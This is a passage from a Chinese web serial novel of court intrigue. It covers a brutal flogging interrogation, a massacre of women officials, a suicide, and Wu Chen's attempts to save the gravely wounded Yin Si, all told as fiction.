巫辰终是意识到,若要查得八年前东宫谋乱及展家覆灭的原因,东方氏极为关键。
东方羽灵拉着巫辰微微一笑,随后唤来侍女将老国公扶回屋内休息。
巫辰见老国公离开,对东方羽灵直言道:“老国公应是中了毒,慢性毒。”
“我知道。”,东方羽灵面上未露任何惊讶或是忧心,而后补充道:“且毒入肺腑,已是时日无多了,是吗?”
巫辰道:“若及时用药,还可暂缓。”
东方羽灵道:“多谢你,但是不必了。此毒,是我姑母,当今皇后亲手下的。我阿爷与皇后,是一同中了此毒。”
巫辰疑惑,老国公与皇后为父女关系,不懂为何皇后会对他下毒。并开始疑心起,皇后往日的处处针对,许是为寻展家人,为皇后解毒延长性命。可皇后既然命不久矣,又为何多次出现夺权之举。
东方羽灵缓缓道:“我姑母于当今陛下登基后,便性情大变一般,与我阿爷自此闹翻。”
“......”,巫辰只低头暗自思索着,而后正欲说起有关字条的正事,却被东方羽灵打断。
东方羽灵神色沉静,语气顿挫,似是格外强调,对巫辰道:“你可听说,殷家出了事。几日前,那位殷公子,好像没命了。”
巫辰虽神色仍旧无常,却呆立于风中,脚下倍感虚浮,身上不知何物被缓缓抽离。
东方羽灵还是察觉出巫辰的异样,轻笑道,“哈哈......好脆弱的心理防线。巫辰,你这般在意儿女情长之事,我都有些不敢与你合作了。”,东方羽灵说着边拉住巫辰手臂轻轻一晃,“别难过,我逗你的。信上说,殷公子只是,快要没命了。”
39.濒死
霜雾沉沉,已至深夜,献都城中心一处府邸内,仍是灯火通明。
待细细探去,血腥之气从中氤氲弥漫。寒意呼啸而过时,携着刺鼻腥风,直达心底。
“侯爷......沈大人,快些停下吧,现早已超了家法的责罚,应该是有近百鞭了。再打下去,殷公子要断气了......”,刑部尚书齐炜声音带些颤抖劝着,未怎么沾过血气的文官,惶惶得观刑整个晚上,胃中难免一阵翻涌恶心。
兵部尚书沈则儒闻言咧开嘴角,面上带着戏谑的残忍,冷冷笑道:“那也要殷公子,及时说出实情。不然,我与侯爷怎向圣上交代?”,边说着突然换了神情,装成一副不忍的样子,继续道,“侯爷,殷公子好像又晕过去了,您看,怎么办才好?”
殷怀疏闭目后将情绪归至平静,紧攥双拳,盯向背上满是乱伤的殷思,开口对王姨娘道:“令栩,过去将他喊醒。”
王姨娘早已哭成了泪人,由侍女扶着依旧跌跌撞撞,行至倒地昏厥的殷思身边后,缓缓蹲下。
鲜血由殷思背上的无数裂痕潺潺流出,洇湿了衣衫后,于未融净的雪地上,汇成片片刺目殷红。
王姨娘颤抖着手,欲触向他的肩头处将人唤醒,可看了半天,却寻不得一处未沾血未留伤的好肉。顿时泪若珠串,簌簌而下,“殷思,殷思.......别吓姨娘......”,见殷思唇上那一抹血色也渐渐褪去,转而向他鼻尖伸去,还勉强留有微弱气息。
“殷思......”,而后落着泪瘫坐在残雪中,泣不成声。
沈则儒见闵国侯喊去的人迟迟未有动静,语气稍不耐烦道:“齐尚书,嘶......我记得前几月,刑部研究出来了些新花样,用针施救,是否能最快将人唤醒?”
齐炜深知他所说,便是巫辰在刑部时,皇后交代过的刑罚。待人昏迷晕厥后迅速施救,人醒再次用刑放血,循环往复,此法极伤元气,若不是巫辰那些时日有丹药吊着,早早便会丢了性命。
沈则儒侧头看向殷怀疏,笑道:“闵国侯家中应有医师,别客气了,快些施针。”
医师得令后迅速上前,寻得殷思头部发际正中直上五寸,两耳尖连线中点处,以平补针法用针。在场众人心情各异得紧盯着殷思的动向,随后见他紧合着的眼帘缓缓而动,猛然转醒后,血自口中出。
“快将公子扶起来!”,王姨娘忙擦去泪正要召来侍从。
殷怀疏却立即制止,“先别动他!”
沈则儒见可算得了机会,率先冲至最前,推开全数挡在前面的殷家侍从,直直将殷思的身体拽离地面,迫他以残躯半跪在地上。
与此同时,殷家侍卫得了殷怀疏的示意,将在场众多官员团团围住,纷纷拔刀相向。
沈则儒撇向周遭情形后,仍是得逞般笑着,只揪着殷思衣领,犯着狠道:“看见了吗?你姐姐因你,竟是要反了。”
殷思口中不停冒着鲜血,经过重击后更是难以开口。眸中光微散,仍是强撑精神紧盯眼前的沈则儒。
他今日本就未给自己留下活路,只待合适的时机与所有人撇清关系。
沈则儒继续逼问:“你是因何事私用兵符?或是说,谁诱使你私用兵符?”
“是承晚今?还是那个.......”,沈则儒说着更凑近他耳边,语气满是威胁,“那个......巫辰?”
殷思身体摇摇欲坠,血自嘴角淌落,闻言却扯开嘴笑了,血滴落于污雪中弥散。
本不再清醒的神智,却因听得他提及巫辰,眼内染了猩红,“你......敢动她,我杀你,全家。狗都......不剩。”
“不知好歹。”,沈则儒咬牙骂着,正要将殷思踹开,脖颈却先被侍卫所持的长剑抵住,冷冷道,“既然殷公子醒了,那继续。”
长鞭落处,伴随着沉闷的响声,血痕乍现,更将已半干凝血的鞭痕重新破开,殷思身躯瑟缩微颤,手肘尽力撑着地面,不愿再次倒下。
“侯爷,您还是不愿交出先帝遗诏吗?”,沈则儒终是开口问起今日前来的真正目的。
殷怀疏冷眼撇向沈则儒,郑重道,“先帝没有遗诏。”
执鞭者高高扬起长鞭,猛地抽下,血雾飞溅绽开。
沈则儒观察着殷怀疏的神情,轻咳一声后道:“慢些打,莫要让殷公子死得太快了。”
“侯爷,那先帝交于您的,近千封书信呢?”
......
“什么信。”
巫辰面色平静,然袖间微颤的手指,却泄了心中慌乱。
东方羽灵见巫辰的样子,只觉饶有趣味,“嗯......不可告人的信。信上还说,殷公已十几日未醒,药石难医,只耗着那最后一口气。真惨啊,若你从未出现在大苍,殷公子不应这么早便殒命的......”
东方羽灵拉住正要往院外跑的巫辰,“诶,你现在去找他,已然晚......”
巫辰打断,反手将其紧拽着自己的手臂甩开,“东方羽灵,你要做什么,你到底想要什么。”
东方羽灵道:“我想要的,与你不同,国安民自泰,政善才有福临;我只要民安乐,千秋宁。”
“你,只爱身边人;那位殷公子,只爱殷家人。在我看,你们两个都是蠢货。居高台赏孤月时,从未低下过头,也不曾看到你们脚下的,除仇敌外,还有万民的血肉。”
“你挨过的那点儿痛,算个屁。”
巫辰只细细想着,长久昏迷应用何种针法去唤,可有药物能医,全然未觉自己遭了骂,“多日前......”
东方羽灵似乎早料到巫辰的话,道:“你多日前来要过的,可指正冷氏与买卖流民案有关的那位证人,早早在回程的路上,死透了。”
“天下里,和你一样痛苦的人,多到数不清。踩着旁人的命,永远爬不高,不如将他们拉起来,助你上高台。”
“好了,你可别哭出来,我只是......随口一骂。”,东方羽灵将语气放缓,边说着边晃了晃巫辰的手臂,侧头盯向巫辰低垂的双眸。
“......”,院内本是一片宁谧,骚乱顿起,似是有人由外入府。
东方羽灵装作恍然大悟,而后笑到,“啊......我险些忘了,你又在被朝廷通缉了,你来时,我便报了刑部的。”
巫辰盯着她的笑颜,稍稍皱眉道:“有病。”
“带刀了吗?”,东方羽灵说着便上手往巫辰身上摸,“赶紧拿出来,刀架我脖子上,你还有机会能跑~不然我也要说不清了。”
“大人!劳烦先莫要动手!我家小姐还在里头......”,老远便听侍女一路喊着。
巫辰将东方羽灵反扣在身前,利刃紧贴于其脖颈,东方府的人和刑部侍卫见状皆不敢再上前。
巫辰心不在焉道:
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“都别过来,不然我......杀了她。”,而后靠近东方羽灵耳边,以仅两人可听清的声音道,“去醒淑楼,救你的民。”
东方羽灵只稍稍抬眉,“真有悟性。”
巫辰猛得将东方羽灵推向一旁侍女,瞬息间飞身掠至屋顶,瓦片未留一丝多余声响,仅点点碎雪由树梢处飞散,几个起落便消失不见。
......
往复的鞭笞之下,殷思已是难将心神聚集,眼前一片昏花,为迫自己迅速清醒,只好去寻心底最刺痛的针尖。
前夜决裂分开后,殷思几乎将自己死后五年的后事,事无巨细得交代给了初鸣。
“......滚下去。”,与巫辰争执时的对话反复回响于耳边,如若此生听她说过的,最后一句话是“滚”,也太可怕了。
殷思遗憾着离别时未将自己最好的样子留给她,更遗憾未再一次落泪给她看。
遐想着若将动作与神情精心安排一番,当着她的面再好好得哭一场,那巫辰往后的几年里,应是会再念起他的泪。
天塌了,全完了。
殷思恍惚间只听得沈则儒又在发问,“齐尚书,那个在缙华堂做首辅官的,巫辰。还未抓到吗?”
“……是。”
沈则儒转而对手下道:“刘侍郎,多调些兵部的人,协助齐尚书去抓,且记得,不必留她活口……”
“殷怀疏!”
“......”,殷思此言一出,其声之大,足以震慑得场所有人瞠目结舌,良久难复常色。
“殷怀疏!兵符......不是你交于我的吗!”,殷思最后使得全力,趁人怔住向着不远处的近卫身侧抓去,却被兵部的人截下,再次倒地后,满目皆是绝望。
沈则儒笑道,“哈哈哈......真是荒唐,胡言乱语什么呢。殷公子当发了疯,便可免去罪责?”
殷怀疏更是瞬间错愕得怔住,似是不敢置信,不知他是何缘由说出此话,于此之前,殷思更是从未直呼过她的名讳。
沈则儒嘲讽道,“侯爷真是养出个白眼狼,这殷公子为求自保,竟直指是侯爷,监守自盗?”
“扶我起来。”,殷怀疏冷言道,不知殷思正打得什么主意。
殷家众侍从见殷怀疏的神情由不忍转至惊诧含怒,皆是不敢动弹,无人应言。
“扶我起来!”,说着便挣扎着,欲靠双臂支撑着轮椅把手将身子站起身来。
王姨娘忙上前,弯身而下,轻扶其臂,缓缓将人从轮椅上扶起,搀着殷怀疏艰难走着。
未行几步,殷怀疏便迅速抽取一旁侍卫腰间佩刀,随后借力推开王姨娘扑至殷思身前。
趁失力倒地前朝他刺去。
“呃.......”,殷思口中只逸出一丝痛呼,似是始料未及此番动作,锋利匕首直直地贯穿他右手掌心,一阵剧痛从手心蔓延至心脏肺腑。
殷思强忍剧痛扶殷怀疏稳住身体,而后抬眼泪光隐现,满是不甘,“阿姐......”
殷怀疏声音颤抖,“亲兵兵符,是我殷家的东西。我殷家人,想如何用就如何用,今日本侯废你一只手,此事便作......”
未等众人反应过来,殷思将其话语打断,顷刻间反握住殷怀疏持刀的手腕,成功夺刀后将刀刃调转方向。
王姨娘捕捉到两人的不对劲。
“快按住公子!他要自尽!”
40.贼人
锋利匕首直直地贯穿他右手掌心,一阵剧痛从手心蔓延至心脏肺腑。
殷思强忍剧痛扶殷怀疏稳住身体,而后抬眼泪光隐现,满是不甘,“阿姐......”
殷怀疏声音颤抖,“亲兵兵符,是我殷家的东西。我殷家人,想如何用就如何用,今日本侯废你一只手,此事便作......”
未等众人反应过来,殷思将其话语打断,顷刻间反握住殷怀疏持刀的手腕,成功夺刀后将刀刃调转方向。
王姨娘捕捉到两人的不对劲。
“快按住公子!他要自尽!”
动作之快,周遭近卫已然反应不及,刀尖正将没入身体前,却被殷怀疏徒手抓住,一声脆响后,利刃轻松断于指掌之间。
“阿姐......”,殷思错愕得看向殷怀疏。
“求死?真是懦弱。”,殷怀疏说着将断刀丢进雪里,而后冷静吩咐近卫,“都过来将按住他。”
殷怀疏于边境战场,见惯了尸横遍野,血浸黄沙的修罗之地,最不屑于为逃避痛苦而自刎向死之人。
她如今虽是腿断难愈落得个残废,但风骨绝不可如刀身异断。
殷怀疏被扶起身后,高声道:“今日我殷怀疏,以大苍闵国侯、前宣州主帅、殷家家主的身份,替家弟认下此罪。但这兵符与亲兵,为世家殷氏所用近百年,殷家人用自己的东西,何过之有?二位尚书,又能奈我何?”
几人只僵持着,对峙尚未分得胜负,主院外一声高喊破空而出打破僵局。
“颖王到———————”
“陈总管到————”
御前总管太监陈福道,“沈尚书,这是九月初三那日,殿前司的当值名单,请您过目。”
九月初三便是几月前,殷思带了亲兵进宫面圣那日。终是等到转机,他只觉眼前天旋地转,耳中轰鸣后,那最后一点清醒的神志,正缓缓散去。
......
*
再次睁眼时,殷思目之所及处,仍是雪霰纷扬,天地一白,浩浩汤汤,不见边际。
明明正飘着大片的雪,身上却未感丝毫寒意。
痛感,亦是消失殆尽。
他只着单薄素衣,于茫茫雪野间独行。
愁绪翻涌,霜雪漫卷四起,雪雾消散过后,细细看去,那浓雾竟携着身着红衣的人,倒在一片寂寥银白之中。
深红色的衣衫,格外惹眼。
殷思只以为是灵魂出窍,瞧见了身死魂散的自己。
本是漫无目的得,朝着雪中央的殷红血墨慢步走去。
待看清那人身形后,任由风雪扑身,晓雾刺目,也要以最快的速度,匆匆赶至她的身边。
可往后的每一步皆是愈渐沉重,深陷雪中,踏在破碎的心头。
与她近在咫尺之时,终是力竭难支,单膝跪地后整个人轰然倒下。
红纱半遮住巫辰平静的面容,片片血迹从她身底蔓延。
殷思只感身上伤痕,正缓缓溃烂开裂,拖着沉重身躯狼狈得向她爬去,双手反复刨开积雪,于身后留下蜿蜒血路。
“快些......再快些......”
“阿颜......等我。”
拼尽全力抓向她的手,只紧紧攥住,再不愿松开。
而后竟于梦中,感知出真实的温度,她的手,很冷很冷。
......
*
“阿颜......等我。”
“等我!”
朦朦胧胧间却听得初鸣的声音,“公子......公子?公子醒了!快去喊侯爷过来!”,说着着急忙慌朝殷思跑来。
原是做梦。
可手心处寒凉的温度,如此真实。
初鸣不敢碰受了重伤的殷思,只揪着他身前被褥哭着,“公子......呜呜呜————您都昏迷半月之久了......我以为您,再也醒不来了!”
正是初开破晓,却听得院外熙熙攘攘,似是乱作一团,殷思勉强从喉咙里挤出声响,“好吵......”
初鸣抹泪,“呜————”,再次哭出声来,“公子原是被吵醒的吗......这贼人来得,真是时候......竟将公子都吵醒了过来!呜呜呜呜......”
殷思本是趴在塌上,听得初鸣这样说,不自觉去寻动静的来源,应是从屋顶传来的。
初鸣连忙道:“公子,您先不要动!好生趴着。您有所不知,昨夜府内,进了也不知是刺客还是贼人。溜了近卫侍从一整晚,满府乱窜,愣是没抓着!那贼人还拆了我们府上半数房檐上的瓦片,还都是两三片得拆!工匠正在一一修补着,公子您没受了风吧......”
“我......我要出去......”,殷思似是察觉出些许异样,忍住背上剧痛挣扎着起身。
初鸣无奈只好将殷思扶起。
殷思才被扶出了屋,却因屋顶上的重锤敲打,将一扇窗震掉在地上。
初鸣对着屋顶大声指责,“干什么呢!干活仔细着些!别将公子伤着了......”,初鸣转身后看向那扇落地的窗框,“这......这窗怎成这样了。”
只见窗框边缘密密麻麻全是钉痕,像是曾反复拆下再多次重新装上的,但窗纸却完好无损,可见拆卸、重装时,很是小心。
屋檐上的工匠疑惑道,“初鸣......这檐顶,怎像是已然修缮好的。全府屋顶丢失的瓦片,竟全被装到这儿来了。”
“她来过......”,再看殷思,泪意已然盈睫,惊喜交加意难再持,情绪愈渐激动,而后躬身止不住得咳血,“咳咳......咳......”
初鸣见状尖叫起来,“公子!您别生气!!!!”
院内素华铺地,枯树静穆,其干苍黑,与雪幕格格不入。
抬眸望去,那无叶的枝头,有一红绸轻缠,鲜红翕动,胜过明灭流霞,正栖于枯藤间。
那红绸,正是殷思平日最常戴的发带。
她竟一直收着那条发带,从未丢下。
“阿颜......”
殷思唇角忽绽浅笑,再顾不得痛,横冲向那枯树前,几乎重摔在地。摘得发带攥在手里,泪倾如注后,泣难成声,“哈....
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.你没再怪我......对不起,是我的错.......”
“公子?公子你怎么了?”,初鸣见他又哭又笑,被吓了一跳。
殷思抓着初鸣问着,“巫辰......巫辰呢?”
初鸣心虚道,“......我们的人已跟丢巫大人多日了,且巫大人的通缉令还未撤下,但以她的身手!躲开区区几个刑部的杂兵,定是轻而易举的,公子你不用担心......”
“我要找她......”
初鸣阻拦:“不可以!侯爷说了,您伤未好不可出府!”
“伤都好了。”
初鸣阻拦:“你没好!侯爷说了,喝了药才能好的!”
“赶快拿过来!我要喝药!”
“快!!”
初鸣:......公子疯了。
......
*
凛冽寒风穿襟过,可经昨夜一整晚的折腾,巫辰站在风口处几欲闭眼睡过去。
于蒙虞阁的高台上观景,可将全献都城尽收眼底。
山峦连绵处,纵横的木质结构作为地基,重重楼阁依山而起,横亘天际。
靠山听曲,倒也显得雅致。
颠沛流离无处可依的日子里,巫辰竟也观遍了献都城全数花楼。
只是最近坊间频频出现传闻,皆道殷家那位纨绔少主,并非殷氏之后。而是其长姐闵国侯十几岁时生下的,各个酒楼戏管日日都有说书先生讲着这出离奇的大戏,且传播力度极大。
有说殷思为先帝之子,更有说他是闵国侯驻守边关时,与别国将领所生。
与那晚分开前争执的起因,别无二致。巫辰想着,若殷思醒来后听说这事,定会哭丧着脸,指责是自己所做。
哐哐——哐哐————
扣门声起,且愈渐焦急急促。
巫辰启门后见得门前的人,甚是疑惑,竟是矜橙。
将醒淑楼一事告知东方羽灵后,她已然将楼内的姑娘全数带出,此时不应再大费周章来寻自己了。
反应半瞬后,巫辰察觉出她的异样,她面色苍白如纸,眸光渐黯。
“姑娘......找......琴谱。然后......快逃......”
矜橙启唇后断断续续得说着,而后直直向前栽倒,巫辰将她扶住后伸手探向她后脑处,竟插着一根长簪。
眼看着她失去生色,再无转圜。
光影交错间,杀意悄然而至,巫辰旋即身形一转,躲开忽至的暗器。
暗器上携着的,正是展家毒。
可来人却似乎无意与巫辰缠斗,瞬间藏匿身影,消失不见。
巫辰冲向栏杆前,向下而望时最先注目的,正是被寒川所覆盖的巨阙山,山脚便是颐王——承段复的府邸。
颐王是三年前才迁府至巨阙山,选址可堪奇怪,山下有片平坦开阔的区域,是为“名堂”;巨阙山两侧更有山丘高地作为左右护砂,可放置邪气入侵;且此山地势较高,可避免低洼潮湿,利于排水。
以往日于钦天监耳濡目染,此处的风水选址,像是墓地。
41.死局
巫辰冲向栏杆前,向下而望时最先注目的,正是被寒川所覆盖的巨阙山,山脚便是颐王——承段复的府邸。
颐王是三年前才迁府至巨阙山,选址可堪奇怪,山下有片平坦开阔的区域,是为“明堂”;巨阙山两侧更有山丘高地作为左右护砂,可放置邪气入侵;且此山地势较高,可避免低洼潮湿,利于排水。
以往日于钦天监耳濡目染,此处的风水选址,像是墓地。
巫辰转身后,缓缓倚着窗边廊柱瘫坐在地,看向已死的矜橙,无力且无助。矜橙于殷思身边待了多年传递消息,都未丢了性命,仅帮过自己一回后,就这样死了。
敌人若是正面杀来,巫辰皆可轻松应对。可若敌手只是出现后,悄然刺向身边毫无防备的其余人,巫辰纵是有再大的能耐,依然束手无策。
那敌手将人伤了后,也不与巫辰有其余正面较量,而是转身就跑,只压得巫辰更没脾气。
巫辰只会攻,从不会防,更不懂如何护住身边人。
这样的人,应适合去做只管杀人便可完成任务的杀手,而不是所谓的护主暗卫,她谁也护不住。
眼前的坟墓,可安葬下许多人。
......
醒淑楼,昔日朱楼绮阁,不复存在。
往日里锦幔飘拂,烛火摇曳生辉,映照得四壁丹青栩栩如生。
如今,锦幔已化作缕缕碎布,冷风穿堂而过后,轻携漫地尘灰弥散于空气之中,寂寥破败。
巫辰寻得窗边最常去的位置,坐于桌边后拾起半倾倒的酒壶,浊酒轻晃,心神不安。
动作轻缓,将酒水置入眼前欲碎的杯盏。
“我已等你多时了。”
冯夫人说着踏入屋内,她身着烟紫色广袖长裙,发间布满珠翠发饰,其装扮之华丽,与破败楼阁显得格格不入。
冯夫人稍倾身,执起巫辰面前的酒杯,一饮而尽后,面上只留未知缘由的笑意。
巫辰闻声蓦然抬头,眼底藏着一缕愤然,道:“你,到底在为谁卖命?皇后?还是颐王?”
冯夫人坐于巫辰对面后,紧盯她半瞬,而后开口道:“我不为谁,只为搅局,搅乱全大苍的局。”
巫辰手臂一挥,带着凛冽杀意,而后桌上杯盏被全数扫落,清脆的破碎声,于一片寂静下回荡。
冯夫人仍面不改色,道:“巫辰,我与你,不是一样的人吗?皆是为达目的,不择手段的阎罗。草芥人命的,是你才对吧?”
“你竟也会露出这样的表情......选你,还真是赌对了。”,冯夫人紧盯巫辰眸中神色,见巫辰由怀怒转至错愕无助的神情,冯夫人发觉她竟怕被指责成枉顾性命的恶人,而后步步紧逼道,“你还未发现吗?自你出现后,死了好多人,出了许多本可避免的灾祸;更是将无意起争端的人,拉来与你一同赴死......本互相掣肘制衡的那群人,见了你,都疯了。你,才是全大苍,唯一的变数,整盘棋局,皆因你而乱。”
“......你到底要做什么!”,巫辰伸手钳住冯夫人脖颈,指节微微泛白。
“哈哈哈......是你太自作聪明了,算算时间,你又输了一局。”,冯夫人虽是被掐着脖颈呼吸困难,却仍扯着嘴角笑道。
巫辰闻言微微发愣,棋局仍未开始,自然不懂自己是如何输掉的。只神情复杂得自言自语,手上力度不自觉得放轻,“......你什么意思。”
“你什么意思!说话!”
见巫辰泄力,冯夫人将她重重推开后,瞬时间取下发间珠钗,仰起头后,毫不犹豫地将簪子尖端狠狠刺入自己的颈动脉处。
又是极为熟悉的,鲜血飞溅,血滴散落于早已浴血的衣裙边。
巫辰随冯夫人顺势倒下,挣扎着爬起后,迅速用手捏紧她颈部直插着的发簪,欲阻止伤口处继续冒血。
可冯夫人却已无任何向生之心,正渗血的唇角勾起一抹绝然笑意,艰难开口。
“展颜辰,欢迎......入局。”
巫辰面上讶色乍起,身形微晃,一片死寂过后,淡淡得目睹着眼前的生命再次逝去。
终是意识到,问题本就出在醒淑楼姑娘身上,她们,才是真正的刺客。
一切,为时已晚。
......
*
踏入继华堂后,血腥之气扑面而来,几欲令人作呕。
院内侍从正往返搬运着难以数清的尸身,鲜血汩汩流淌,青石地砖缝隙间是洗不净的深红血色。
惨白的面容、凝固的鲜血交织错落。
风刃经过此地,吹起逝者凌乱发丝与衣袂,继华堂的全数女官,皆在其间。
于世间,从未受得过尊重的一群女子,将大苍为数不多且不凡的女官,屠杀殆尽。
庭院正中有一处石桌,一侧已是浸满血迹,另一侧坐着的,是东方羽灵。
东方羽灵见巫辰进了院,丝毫不意外,抿下一口茶水后,指向对面的位置道:“坐。”
“怎么了?难不成,你在自责?她们与你非亲非故,你又不认得她们,不值当的。”
巫辰即见此景,已是难以控制情绪,呼吸急促时神色也变得不自然。
东方羽灵却道:“是我未想清楚便冒然行事,是我做了蠢事,你不必怪自己。先喝口茶罢——”
巫辰此前的二十年,从未说过一句有关抱歉的话,也自知心中,绝不会生出歉意。
而近日继华堂一难,她确是将全数罪责怪在了自己身上。
若非那日误入陷阱,传给东方羽灵醒淑楼有难的消息,这一局,本不会输,也不该输。
“小姐......”,侍女上前道。
东方羽灵神色未变,淡淡道:“嗯,收拾得如何了?”
“......共......继华堂共一百一十七位女官在任,一百一十六俱可辨认身份的尸身.....”
东方羽灵道:“嗯,那都对上了,只有我不在里面呢。”
“小姐......您别伤......”
“闭嘴......先去将她们都葬下。”,未等侍女将话说全,东方羽灵便打断制止,语气淡然冷漠。
可细细看向她垂着的眼眸,分明是红肿着,一看便知是才哭过的。
东方羽灵察觉出巫辰的失魂落魄,道:“巫辰,你这副样子,才更让人得逞。若要追名逐利,需得默认自己一无所有才好。他们杀一个,你便痛苦一阵子,如何追下去?”,而后拿出一本旧书,“它于我而言,应是无用了,还你。”
此物便是巫辰与东方羽灵初次见面时,作为合作筹码的,巫辰兄长于八年前留下的手记。
巫辰失神将其接过,抹
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净手记封面上的点点血迹,将掌心稍转后,便见一点殷红死死黏连于指尖,无法摆脱。
......
*
回过神时,垂眼看向鲜血顺着指尖蜿蜒而下,巫辰只反复抠着窗沿边缘,直至指甲断裂。
寒光倾洒,孤立于窗边。
“巫辰......是你吗......”,窗那头的屋内,传来气息如游丝的声音。
深夜之中,竟将他吵醒了。
“回答我......”
巫辰盯着月光之下,屋内模糊的虚影,道:“我想进去。”
“别进来了吧,我未准备好......”
那日施针后若是三日内醒来,应再无大碍,可现在却听出殷思的呼吸急促又沉重,“你怎么了。”,巫辰说着正要将窗框整个拽下。
“别......别进来......”
巫辰无法再顾其他,只好全力去推窗。
隔着窗纸,却忽见他的身影猛然向前栽倒,而后窗框被殷思死死压住。
这般不情愿,巫辰也只好作罢,可指尖仍紧扣着窗上的凸起雕花,无力得跪坐于窗前石阶,“殷思,我......”
“我好累啊,我没......有力气了......我是不是做错了,我不想这样的,可他们......还是会死。”,巫辰稍稍一顿后,眼下竟凝出从未有过的愁意,话语被堵在喉间,哽塞道:“你也要死了,都是因为我......是吗?”
“殷思,你告诉我.......我都相信。”
“殷思,你说话......”,巫辰可隐约听得,他忍住哽咽的闷哼声,却迟迟未等来回应,转而要去将门砸开。
“不许进来。”,门楣轻晃,殷思于门前强硬制止。
看门内动静,他应是正用手撑着门的。
“一生太短,我们都......固有一死,只要活着的日子里,有意义、未留遗憾,那一生就会......变得足够长......”
“若要说旁人,是因你而死,便是否定了他们意义非凡的一生......人,只会为自己而死。”,殷思只费力得说着,语气轻柔极缓。
冬夜如渊,霜华凝于心头,只言片语,便可催融心间旧雪。
一门相隔的,成了想要紧靠的心魂。
巫辰声音微微颤抖,“那如何才可,活得有意义......”
“阿颜......这个,只能问你自己......”
巫辰深知,只一味地逼问自己,永远不会懂。多年来,她心中除了恨意,毫无方向。
“阿颜,等我好些,我带你离开吧。”
巫辰道:“离开,去哪儿。”
殷思轻笑后,断断续续道:“随便去哪里都好.....最好是寻一无人角落,余生仅你我共度。与你一起,不管在哪儿,皆为此生之幸......哪怕是永远躲起来,苟活于世,也好......”
“可我不想等了......”,巫辰话未说完便听得屋内有声闷响。
“......”
“殷思?”,巫辰犹豫良久,指尖颤抖着触上木门,试探地轻叩,却感知到他的呼吸更渐微弱。
“殷思,你醒醒......不要睡......”
“不可以睡着。”
42.意乱
“殷思?”,巫辰犹豫良久,指尖颤抖着触上木门,试探地轻叩,却感知到他的呼吸更渐微弱。
“殷思,你醒醒......不要睡......”
“不可以睡着。”
巫辰已然顾不得其他,将门扉撞开后,疾步闯入屋内。
“殷思......”
“怎会这样......”,巫辰俯身后跪坐于殷思身前,目中焦灼如焚,眼眶温热。褪下外搭后垫在殷思颈下,侧耳贴于鼻间,反复感知着他的经脉气息。
眼前的人气息微弱,面色苍白且透着青灰之色,唇间更是毫无血色。
将手伸向他心口,指尖直触凉意,且心跳疾如鼓擂;再探向背后的鞭伤处,已过数日竟仍未结痂愈合,竟仍在渗血。
体温发寒与脉搏急促,尤为相悖,绝不应同时出现。
巫辰只反复回忆那日的施针究竟出了何等差错。
鞭刑时所用的长鞭,定是沾了其他东西,导致多处伤口感染,出了凝血异常症的症状。施刑人已然下了死手,未想留他活路。
多日昏厥未醒,是因失血过多且无法正常凝血结痂,供血不足。
未曾想施针加快供血催他醒来的同时,却加重了心脏的负荷。
失血与造血两种极端,成倍速得将身体压垮,若再不及时救治,待多余的供血涌入其余脏器内,只会引发体内的大出血,更加危及性命。
巫辰并非医者,果然不会救人。只顾及去解决眼下的危难,从未有过长远打算,行事向来不惧后果。
可若真因此失误将他害死,才会成了巫辰最为惧怕的梦魇。
巫辰顿时眉间蹙紧难舒,逼迫自己去想应对之策,心焦意乱不知所为时,却只得手足无措,伸手抚向他毫无血色的面颊。
正无力得痛着。
院外忽起喧嚣声,似潮涌至,“......快!人躲在了公子这儿!”
殷家侍卫不管不顾得追进院内,嘈杂之音瞬间乱耳,巫辰取出银针快速施针,闭了殷思的听觉,以免昏迷中因乱声再受惊吓。
巫辰收针时却被侍卫首领抓个正着,“你对公子做了什么!!”
那首领率众侍卫疾奔而来,口中高呼:“进去将那刺客抓住,切记莫要伤了公子!”
“是!”,众侍卫得令,刹那间涌入屋内,将巫辰与正倒地不起的殷思团团围住。
首领毫不客气,举剑便抵住巫辰脖颈,道:“那日来的刺客便是你吧?将我我们好一顿折腾,今夜绝不会再把你放跑......”
“滚出去!”
巫辰已是低头忍怒多时,再扬头时目光如刃,瞪向屋内众人。
一众侍从:......??
“滚!”
屋里的人遭这几声吼,面色变得尴尬又心虚,都不自觉得退后了半步,有的更甚要收了刀。
巫辰目含冷光扫过众人,道:“殷思正病着,你们在院里闹出这么大的动静,是想将他吓死吗?”
“都给我滚!”
“倒反天罡了你!”,那侍卫首领却仍不知好歹,说着便胡乱挥剑直直朝巫辰刺去。
巫辰无意在此时与他大动干戈,直接出手将剑刃捏在手心。
见对方神色吃惊稍稍愣住后,巫辰将手中抓着的剑刃超对方那侧尽力一推。
不料那首领收了刀的同时,却失力抓向其身旁的另一侍卫。
因得视线昏暗,视野受限,那侍卫被人这样一抓,失去平衡后地上的被褥绊倒,正要碰在殷思身上,巫辰站起身挡在前面,提前将那人踹出了屋外。
“蠢货......”,巫辰极少如此动气,本痛苦无奈的心情被眼前这群饭桶一激,瞬间一扫而空,几乎要被急哭。
“快抓住她!!!”,首领见巫辰起身,自以为又得了良机,直接从巫辰身后用长剑遏在她的颈前。
巫辰自是无法对在场的任何人下死手,只好放弃攻击,尽力去防守,再次向后一躲后,却一下被几个冲上来的侍卫钳住手腕。
本应将那几人过肩一摔,可如今却不宜造出更大动静的打斗扰了殷思。
事实证明,武才再高、攻速再快的人,碰上更无章法只用蛮力致敌的蠢材,依旧会束手无策。
“呵......刚才的气焰呢?不还是给你拿下了!”,侍卫首领因得巫辰的不加反抗,更洋洋得意,而后吩咐,“快将公子扶回榻上!”
几个侍卫正要将殷思扶起。
“别碰他!你们几个蠢......呃......”
巫辰话还没说完便被强行捂嘴,忍无可忍后死死咬住那首领的手腕,顶着颈间的长剑挣脱开,剑刃由耳后划至脸侧,与动脉的位置仅差分毫。
“唉!还咬人!”
巫辰只好边顾着殷思,边将那几个侍卫一把拽开,几人被重摔在角落。
巫辰忙去试探殷思有无大碍,谁知另一个侍卫直盯着巫辰背后刺去,正欲伤及要害,却被一柄快速飞过的刀打回。
初鸣挤进人群大喊,“啊啊啊啊啊————你们都找死吗!!敢伤了巫大人!!!全都不许动!”
初鸣进屋捡回那刀,用刀柄一个个得狠敲着那些侍卫额前,“蠢货!一群酒囊饭袋!”,敲至最后那侍卫首领时,力气用至最大,几乎跳起来,“韩茂你个大傻帽!”
“蠢货!!你们未来的主子都敢碰!若不是巫大人看公子的面子,早弄死你们了!”
众人傻眼:“巫大人......?她不是......她不是刺客吗?”
殷思许是因为才被猛地移动位置,开始一阵剧咳,血自唇角淌落。
“公子————”,初鸣冲上来跪到在地。
怒意于眉梢眼底凝聚,巫辰咬牙道,“再坏事......我杀了你们......”
